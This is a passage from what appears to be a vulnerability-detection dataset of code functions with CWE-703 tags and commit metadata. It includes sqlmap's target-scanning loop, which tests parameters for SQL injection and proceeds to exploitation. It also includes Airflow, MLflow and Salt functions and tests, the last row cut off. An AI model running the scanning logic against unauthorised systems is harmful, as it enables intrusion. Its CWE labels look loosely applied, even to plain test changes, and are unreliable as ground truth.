                    message += ""against '%s'. Do you want to skip "" % conf.hostname
                    message += ""further tests involving it? [Y/n]""

                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = ""skipping '%s'"" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = ""[#%d] form:\n%s %s"" % (hostCount, conf.method, targetUrl)
                else:
                    message = ""URL %d:\n%s %s"" % (hostCount, HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += ""\nCookie: %s"" % conf.cookie

                if conf.data is not None:
                    message += ""\n%s data: %s"" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or """") is None else conf.data)

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(""?"") == -1:
                        continue

                    message += ""\ndo you want to test this form? [Y/n/q] ""
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = ""Edit %s data [default: %s]%s: "" % (conf.method, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or ""None"") is None else conf.data, "" (Warning: blank fields detected)"" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else """")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = ""Edit GET data [default: %s]: "" % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = ""%s?%s"" % (firstPart, test)

                        parseTargetUrl()

                else:
                    message += ""\ndo you want to test this URL? [Y/n/q]""
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
                    elif choice == 'Q':
                        break

                    infoMsg = ""testing URL '%s'"" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            if conf.rParam and kb.originalPage:
                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])

                for match in re.finditer(r""(?si)<select[^>]+\bname\s*=\s*[\""']([^\""']+)(.+?)</select>"", kb.originalPage):
                    name, _ = match.groups()
                    options = tuple(re.findall(r""<option[^>]+\bvalue\s*=\s*[\""']([^\""']+)"", _))
                    if options:
                        kb.randomPool[name] = options

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = ""skipping previously processed %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = ""skipping randomizing %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = ""skipping anti-CSRF token parameter '%s'"" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = ""ignoring %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = ""%sparameter '%s' does not appear to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = ""skipping static %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = ""%sparameter '%s' appears to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = ""testing for SQL injection on %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, ""place"", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = ""%sparameter '%s' "" % (""%s "" % injection.place if injection.place != injection.parameter else """", injection.parameter)
                                        msg += ""is vulnerable. Do you want to keep testing the others (if any)? [y/N] ""

                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = ""%sparameter '%s' does not seem to be injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = ""no parameter(s) found for testing in the provided data ""
                    errMsg += ""(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')""
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(r""<form"", kb.originalPage) is not None:
                            advice.append(""--forms"")
                        if not conf.crawlDepth and re.search(r""href=[\""']/?\w"", kb.originalPage) is not None:
                            advice.append(""--crawl=2"")
                        if advice:
                            errMsg += "". You are advised to rerun with '%s'"" % ' '.join(advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = ""all tested parameters do not appear to be injectable.""

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += "" Try to increase values for '--level'/'--risk' options ""
                        errMsg += ""if you wish to perform more tests.""

                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                        errMsg += "" Rerun without providing the option '--technique'.""

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += "" You can give it a go with the switch '--text-only' ""
                            errMsg += ""if the target page has a low percentage ""
                            errMsg += ""of textual content (~%.2f%% of "" % percent
                            errMsg += ""page content is text).""
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += "" Please retry with the switch '--text-only' ""
                            errMsg += ""(along with --technique=BU) as this case ""
                            errMsg += ""looks like a perfect candidate ""
                            errMsg += ""(low textual content along with inability ""
                            errMsg += ""of comparison engine to detect at least ""
                            errMsg += ""one dynamic parameter).""

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += "" As heuristic test turned out positive you are ""
                        errMsg += ""strongly advised to continue on with the tests.""

                    if conf.string:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--string' as perhaps the string you ""
                        errMsg += ""have chosen does not match ""
                        errMsg += ""exclusively True responses.""
                    elif conf.regexp:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--regexp' as perhaps the regular ""
                        errMsg += ""expression that you have chosen ""
                        errMsg += ""does not match exclusively True responses.""

                    if not conf.tamper:
                        errMsg += "" If you suspect that there is some kind of protection mechanism ""
                        errMsg += ""involved (e.g. WAF) maybe you could try to use ""
                        errMsg += ""option '--tamper' (e.g. '--tamper=space2comment')""

                        if not conf.randomAgent:
                            errMsg += "" and/or switch '--random-agent'""

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = ""do you want to exploit this SQL injection? [Y/n] ""
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = ""user aborted in multiple target mode""
                logger.warn(warnMsg)

                message = ""do you want to skip to the next target in list? [Y/n/q]""
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += "", skipping to the next %s"" % (""form"" if conf.forms else ""URL"")
                logger.error(errMsg.lstrip("", ""))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = ""it appears that the target ""
                warnMsg += ""has a maximum connections ""
                warnMsg += ""constraint""
                logger.warn(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info(""fetched data logged to text files under '%s'"" % conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFile:
            infoMsg = ""you can find results of scanning in multiple targets ""
            infoMsg += ""mode inside the CSV file '%s'"" % conf.resultsFile
            logger.info(infoMsg)

    return True"
,UNKNOWN,UNKNOWN,providers/fab/tests/unit/fab/auth_manager/security_manager/test_override.py,1,"def test_load_user_jwt(self, mock_g):
        sm = EmptySecurityManager()
        mock_user = Mock()
        sm.load_user = Mock(return_value=mock_user)

        actual_user = sm.load_user_jwt(None, {""sub"": ""test_identity""})

        sm.load_user.assert_called_once_with(""test_identity"")
        assert actual_user is mock_user
        assert mock_g.user is mock_user",CWE-703,apache/airflow,54016ecd11fac62fc881a099c82a294d1fd92f03,"def test_load_user_jwt(self, mock_g):
        sm = EmptySecurityManager()
        mock_user = Mock()
        sm.load_user = Mock(return_value=mock_user)

        actual_user = sm.load_user_jwt(None, {""sub"": ""test_identity""})

        sm.load_user.assert_called_once_with(""test_identity"")
        assert actual_user is mock_user
        assert mock_g.user is mock_user"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_dbfs_rest_artifact_repo.py,1,"def test_download_artifacts(self, dbfs_artifact_repo):
        with mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_is_dir') as is_dir_mock,\
                mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_list_api') as list_mock, \
                mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_download') as download_mock:
            is_dir_mock.side_effect = [
                True,
                False,
                True,
            ]
            list_mock.side_effect = [
                Mock(text=json.dumps(LIST_ARTIFACTS_RESPONSE)),
                Mock(text='{}'),  # this call is for listing `/dir`.
                Mock(text='{}')   # this call is for listing `/dir/a.txt`.
            ]
            dbfs_artifact_repo.download_artifacts('/')
            assert list_mock.call_count == 2
            assert download_mock.call_count == 1
            chronological_download_calls = list(download_mock.call_args_list)
            # Calls are in reverse chronological order by default
            chronological_download_calls.reverse()
            _, kwargs_call = chronological_download_calls[0]
            assert kwargs_call['endpoint'] == '/dbfs/test/a.txt'",CWE-703,mlflow/mlflow,39d47fa6351c7a39a2af3904819d3edcc394aff3,"def test_download_artifacts(self, dbfs_artifact_repo):
        with mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_is_dir') as is_dir_mock,\
                mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_list_api') as list_mock, \
                mock.patch(DBFS_ARTIFACT_REPOSITORY + '._dbfs_download') as download_mock:
            is_dir_mock.side_effect = [
                True,
                False,
                True,
            ]
            list_mock.side_effect = [
                Mock(text=json.dumps(LIST_ARTIFACTS_RESPONSE)),
                Mock(text='{}'),  # this call is for listing `/dir`.
                Mock(text='{}')   # this call is for listing `/dir/a.txt`.
            ]
            dbfs_artifact_repo.download_artifacts('/')
            assert list_mock.call_count == 3
            assert download_mock.call_count == 2
            chronological_download_calls = list(download_mock.call_args_list)
            # Calls are in reverse chronological order by default
            chronological_download_calls.reverse()
            _, kwargs_call_1 = chronological_download_calls[0]
            _, kwargs_call_2 = chronological_download_calls[1]
            assert kwargs_call_1['endpoint'] == '/dbfs/test/dir'
            assert kwargs_call_2['endpoint'] == '/dbfs/test/a.txt'"
,UNKNOWN,UNKNOWN,salt/utils/event.py,1,"def __del__(self):
        # skip exceptions in destroy-- since destroy() doesn't cover interpreter
        # shutdown-- where globals start going missing
        try:
            self.destroy()
        except:  # pylint: disable=W0702
            pass",CWE-703,saltstack/salt,16f0409369c3b8e194f24add9c155eb02d96f74e,"def __del__(self):
        # skip exceptions in destroy-- since destroy() doesn't cover interpreter
        # shutdown-- where globals start going missing
        try:
            self.destroy()
        except:
            pass"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/azureml/__init__.py,0,"def deploy(
    model_uri,
    workspace,
    deployment_config=None,
    service_name=None,
    model_name=None,
    tags=None,
    mlflow_home=None,
    synchronous=True,
):
    """"""
    Register an MLflow model with Azure ML and deploy a websevice to Azure Container Instances (ACI)
    or Azure Kubernetes Service (AKS).

    The deployed service will contain a webserver that processes model queries.
    For information about the input data formats accepted by this webserver, see the
    :ref:`MLflow deployment tools documentation <azureml_deployment>`.

    :param model_uri: The location, in URI format, of the MLflow model used to build the Azure
                      ML deployment image. For example:

                      - ``/Users/me/path/to/local/model``
                      - ``relative/path/to/local/model``
                      - ``s3://my_bucket/path/to/model``
                      - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
                      - ``models:/<model_name>/<model_version>``
                      - ``models:/<model_name>/<stage>``

                      For more information about supported URI schemes, see
                      `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
                      artifact-locations>`_.
    :param workspace: The AzureML workspace in which to deploy the service. This is a
                      `azureml.core.Workspace` object.
    :param deployment_config: The configuration for the Azure web service. This configuration
                              allows you to specify the resources the webservice will use and
                              the compute cluster it will be deployed in. If unspecified, the web
                              service will be deployed into a Azure Container Instance. This is a
                              `azureml.core.DeploymentConfig` object. For more information, see
                              `<https://docs.microsoft.com/python/api/azureml-core/
                              azureml.core.webservice.aks.aksservicedeploymentconfiguration>`_ and
                              `<https://docs.microsoft.com/en-us/python/api/azureml-core/azureml
                              .core.webservice.aci.aciservicedeploymentconfiguration>`_
    :param service_name: The name to assign the Azure Machine learning webservice that will be
                         created. If unspecified, a unique name will be generated.
    :param model_name: The name to assign the Azure Model will be created. If unspecified,
                       a unique model name will be generated. Only used if the model is not
                       already registered with Azure.
    :param tags: A collection of tags, represented as a dictionary of string key-value pairs, to
                 associate with the Azure Model and Deployment that will be created.
                 These tags are added to a set of default tags that include the model uri,
                 and more. For more information, see
                 `<https://docs.microsoft.com/en-us/python/api/azureml-core/azureml.core.model(class)?view=azure-ml-py>`_.
    :param mlflow_home: Path to a local copy of the MLflow GitHub repository. If specified, the
                        image will install MLflow from this directory. Otherwise, it will install
                        MLflow from pip.
    :param synchronous: If ``True``, this method blocks until the image creation procedure
                        terminates before returning. If ``False``, the method returns immediately,
                        but the returned image will not be available until the asynchronous
                        creation process completes. Use the
                        ``azureml.core.Webservice.wait_for_deployment()`` function to wait
                        for the deployment process to complete.
    :return: A tuple containing the following elements in order:
            - An ``azureml.core.webservice.Webservice`` object containing metadata for the
            new service.
            - An ``azureml.core.model.Model`` object containing metadata for the new model.

    .. code-block:: python
        :caption: Example

        import mlflow.azureml
        from azureml.core import Workspace
        from azureml.core.webservice import AciWebservice, Webservice

        # Load or create an Azure ML Workspace
        workspace_name = ""<Name of your Azure ML workspace>""
        subscription_id = ""<Your Azure subscription ID>""
        resource_group = ""<Name of the Azure resource group in which to create Azure ML resources>""
        location = ""<Name of the Azure location (region) in which to create Azure ML resources>""
        azure_workspace = Workspace.create(name=workspace_name,
                                           subscription_id=subscription_id,
                                           resource_group=resource_group,
                                           location=location,
                                           create_resource_group=True,
                                           exist_ok=True)

        # Create an Azure Container Instance webservice for an MLflow model
        azure_service, azure_model = mlflow.azureml.deploy(model_uri=""<model_uri>"",
                                                           service_name=""<deployment-name>"",
                                                           workspace=azure_workspace,
                                                           synchronous=True)
    """"""
    # The Azure ML SDK is only compatible with Python 3. However, the `mlflow.azureml` module should
    # still be accessible for import from Python 2. Therefore, we will only import from the SDK
    # upon method invocation.
    # pylint: disable=import-error
    from azureml.core.model import Model as AzureModel, InferenceConfig
    from azureml.core import Environment as AzureEnvironment
    from azureml.core import VERSION as AZUREML_VERSION
    from azureml.core.webservice import AciWebservice

    absolute_model_path = _download_artifact_from_uri(model_uri)

    model_pyfunc_conf, model = _load_pyfunc_conf_with_model(model_path=absolute_model_path)
    model_python_version = model_pyfunc_conf.get(pyfunc.PY_VERSION, None)
    run_id = None
    run_id_tag = None
    try:
        run_id = model.run_id
        run_id_tag = run_id
    except AttributeError:
        run_id = str(uuid.uuid4())
    if model_python_version is not None and StrictVersion(model_python_version) < StrictVersion(
        ""3.0.0""
    ):
        raise MlflowException(
            message=(
                ""Azure ML can only deploy models trained in Python 3 and above. See""
                "" the following MLflow GitHub issue for a thorough explanation of this""
                "" limitation and a workaround to enable support for deploying models""
                "" trained in Python 2: https://github.com/mlflow/mlflow/issues/668""
            ),
            error_code=INVALID_PARAMETER_VALUE,
        )

    tags = _build_tags(
        model_uri=model_uri,
        model_python_version=model_python_version,
        user_tags=tags,
        run_id=run_id_tag,
    )

    if service_name is None:
        service_name = _get_mlflow_azure_name(run_id)
    if model_name is None:
        model_name = _get_mlflow_azure_name(run_id)

    with TempDir(chdr=True) as tmp:
        model_directory_path = tmp.path(""model"")
        tmp_model_path = os.path.join(
            model_directory_path,
            _copy_file_or_tree(src=absolute_model_path, dst=model_directory_path),
        )

        registered_model = None
        azure_model_id = None

        # If we are passed a 'models' uri, we will attempt to extract a name and version which
        # can be used to retreive an AzureML Model. This will ignore stage based model uris,
        # which is alright until we have full deployment plugin support.
        #
        # If instead we are passed a 'runs' uri while the user is using the AzureML tracking
        # and registry stores, we will be able to register the model on their behalf using
        # the AzureML plugin, which will maintain lineage between the model and the run that
        # produced it. This returns an MLFlow Model object however, so we'll still need the
        # name and ID in order to retrieve the AzureML Model object which is currently
        # needed to deploy.
        if model_uri.startswith(""models:/""):
            m_name = model_uri.split(""/"")[-2]
            m_version = int(model_uri.split(""/"")[-1])
            azure_model_id = ""{}:{}"".format(m_name, m_version)
        elif (
            model_uri.startswith(""runs:/"")
            and get_tracking_uri().startswith(""azureml"")
            and get_registry_uri().startswith(""azureml"")
        ):
            mlflow_model = mlflow_register_model(model_uri, model_name)
            azure_model_id = ""{}:{}"".format(mlflow_model.name, mlflow_model.version)

            _logger.info(
                ""Registered an Azure Model with name: `%s` and version: `%s`"",
                mlflow_model.name,
                azure_model_id,
            )

        # Attempt to retrieve an AzureML Model object which we intend to deploy
        if azure_model_id:
            try:
                registered_model = AzureModel(workspace, id=azure_model_id)
                _logger.info(""Found registered model in AzureML with ID '%s'"", azure_model_id)
            except Exception as e:  # pylint: disable=broad-except
                _logger.info(
                    ""Unable to find model in AzureML with ID '%s', will register the model.\n""
                    ""Exception was: %s"",
                    azure_model_id,
                    e,
                )

        # If we have not found a registered model by this point, we will register it on the users'
        # behalf. It is required for a Model to be registered in some way with Azure in order to
        # deploy to Azure, so this is expected for Azure users.
        if not registered_model:
            registered_model = AzureModel.register(
                workspace=workspace, model_path=tmp_model_path, model_name=model_name, tags=tags
            )

            _logger.info(
                ""Registered an Azure Model with name: `%s` and version: `%s`"",
                registered_model.name,
                registered_model.version,
            )

        # Create an execution script (entry point) for the image's model server. Azure ML requires
        # the container's execution script to be located in the current working directory during
        # image creation, so we create the execution script as a temporary file in the current
        # working directory.
        execution_script_path = tmp.path(""execution_script.py"")
        _create_execution_script(output_path=execution_script_path, azure_model=registered_model)

        environment = None
        if pyfunc.ENV in model_pyfunc_conf:
            environment = AzureEnvironment.from_conda_specification(
                _get_mlflow_azure_name(run_id),
                os.path.join(tmp_model_path, model_pyfunc_conf[pyfunc.ENV]),
            )
        else:
            environment = AzureEnvironment(_get_mlflow_azure_name(run_id))

        if mlflow_home is not None:
            path = tmp.path(""dist"")
            _logger.info(""Bulding temporary MLFlow wheel in %s"", path)
            wheel = _create_mlflow_wheel(mlflow_home, path)
            whl_url = AzureEnvironment.add_private_pip_wheel(
                workspace=workspace, file_path=wheel, exist_ok=True
            )
            environment.python.conda_dependencies.add_pip_package(whl_url)
        else:
            environment.python.conda_dependencies.add_pip_package(
                ""mlflow=={}"".format(mlflow_version)
            )

        # AzureML requires azureml-defaults to be installed to include
        # flask for the inference server.
        environment.python.conda_dependencies.add_pip_package(
            ""azureml-defaults=={}"".format(AZUREML_VERSION)
        )

        inference_config = InferenceConfig(
            entry_script=execution_script_path, environment=environment
        )

        if deployment_config is not None:
            if deployment_config.tags is not None:
                # We want more narrowly-scoped tags to win on merge
                tags.update(deployment_config.tags)
            deployment_config.tags = tags
        else:
            deployment_config = AciWebservice.deploy_configuration(tags=tags)

        # Finally, deploy the AzureML Model object to a webservice, and return back
        webservice = AzureModel.deploy(
            workspace=workspace,
            name=service_name,
            models=[registered_model],
            inference_config=inference_config,
            deployment_config=deployment_config,
        )
        _logger.info(""Deploying an Azure Webservice with name: `%s`"", webservice.name)
        if synchronous:
            webservice.wait_for_deployment(show_output=True)
        return webservice, registered_model",,mlflow/mlflow,4537b62b0de1fb73e028927264b7b46b4c8ab0f1,"def deploy(
    model_uri,
    workspace,
    deployment_config=None,
    service_name=None,
    model_name=None,
    tags=None,
    mlflow_home=None,
    synchronous=True,
):
    """"""
    Register an MLflow model with Azure ML and deploy a websevice to Azure Container Instances (ACI)
    or Azure Kubernetes Service (AKS).

    The deployed service will contain a webserver that processes model queries.
    For information about the input data formats accepted by this webserver, see the
    :ref:`MLflow deployment tools documentation <azureml_deployment>`.

    :param model_uri: The location, in URI format, of the MLflow model used to build the Azure
                      ML deployment image. For example:

                      - ``/Users/me/path/to/local/model``
                      - ``relative/path/to/local/model``
                      - ``s3://my_bucket/path/to/model``
                      - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
                      - ``models:/<model_name>/<model_version>``
                      - ``models:/<model_name>/<stage>``

                      For more information about supported URI schemes, see
                      `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
                      artifact-locations>`_.
    :param workspace: The AzureML workspace in which to deploy the service. This is a
                      `azureml.core.Workspace` object.
    :param deployment_config: The configuration for the Azure web service. This configuration
                              allows you to specify the resources the webservice will use and
                              the compute cluster it will be deployed in. If unspecified, the web
                              service will be deployed into a Azure Container Instance. This is a
                              `azureml.core.DeploymentConfig` object. For more information, see
                              `<https://docs.microsoft.com/python/api/azureml-core/
                              azureml.core.webservice.aks.aksservicedeploymentconfiguration>`_ and
                              `<https://docs.microsoft.com/en-us/python/api/azureml-core/azureml
                              .core.webservice.aci.aciservicedeploymentconfiguration>`_
    :param service_name: The name to assign the Azure Machine learning webservice that will be
                         created. If unspecified, a unique name will be generated.
    :param model_name: The name to assign the Azure Model will be created. If unspecified,
                       a unique model name will be generated. Only used if the model is not
                       already registered with Azure.
    :param tags: A collection of tags, represented as a dictionary of string key-value pairs, to
                 associate with the Azure Model and Deployment that will be created.
                 These tags are added to a set of default tags that include the model uri,
                 and more. For more information, see
                 `<https://docs.microsoft.com/en-us/python/api/azureml-core/azureml.core.model(class)?view=azure-ml-py>`_.
    :param mlflow_home: Path to a local copy of the MLflow GitHub repository. If specified, the
                        image will install MLflow from this directory. Otherwise, it will install
                        MLflow from pip.
    :param synchronous: If ``True``, this method blocks until the image creation procedure
                        terminates before returning. If ``False``, the method returns immediately,
                        but the returned image will not be available until the asynchronous
                        creation process completes. Use the
                        ``azureml.core.Webservice.wait_for_deployment()`` function to wait
                        for the deployment process to complete.
    :return: A tuple containing the following elements in order:
            - An ``azureml.core.webservice.Webservice`` object containing metadata for the
            new service.
            - An ``azureml.core.model.Model`` object containing metadata for the new model.

    .. code-block:: python
        :caption: Example

        import mlflow.azureml
        from azureml.core import Workspace
        from azureml.core.webservice import AciWebservice, Webservice

        # Load or create an Azure ML Workspace
        workspace_name = ""<Name of your Azure ML workspace>""
        subscription_id = ""<Your Azure subscription ID>""
        resource_group = ""<Name of the Azure resource group in which to create Azure ML resources>""
        location = ""<Name of the Azure location (region) in which to create Azure ML resources>""
        azure_workspace = Workspace.create(name=workspace_name,
                                           subscription_id=subscription_id,
                                           resource_group=resource_group,
                                           location=location,
                                           create_resource_group=True,
                                           exist_ok=True)

        # Create an Azure Container Instance webservice for an MLflow model
        azure_service, azure_model = mlflow.azureml.deploy(model_uri=""<model_uri>"",
                                                           service_name=""<deployment-name>"",
                                                           workspace=azure_workspace,
                                                           synchronous=True)
    """"""
    # The Azure ML SDK is only compatible with Python 3. However, the `mlflow.azureml` module should
    # still be accessible for import from Python 2. Therefore, we will only import from the SDK
    # upon method invocation.
    # pylint: disable=import-error
    from azureml.core.model import Model as AzureModel, InferenceConfig
    from azureml.core import Environment as AzureEnvironment
    from azureml.core import VERSION as AZUREML_VERSION
    from azureml.core.webservice import AciWebservice

    absolute_model_path = _download_artifact_from_uri(model_uri)

    model_pyfunc_conf, model = _load_pyfunc_conf_with_model(model_path=absolute_model_path)
    model_python_version = model_pyfunc_conf.get(pyfunc.PY_VERSION, None)
    run_id = None
    run_id_tag = None
    try:
        run_id = model.run_id
        run_id_tag = run_id
    except AttributeError:
        run_id = str(uuid.uuid4())
    if model_python_version is not None and StrictVersion(model_python_version) < StrictVersion(
        ""3.0.0""
    ):
        raise MlflowException(
            message=(
                ""Azure ML can only deploy models trained in Python 3 and above. See""
                "" the following MLflow GitHub issue for a thorough explanation of this""
                "" limitation and a workaround to enable support for deploying models""
                "" trained in Python 2: https://github.com/mlflow/mlflow/issues/668""
            ),
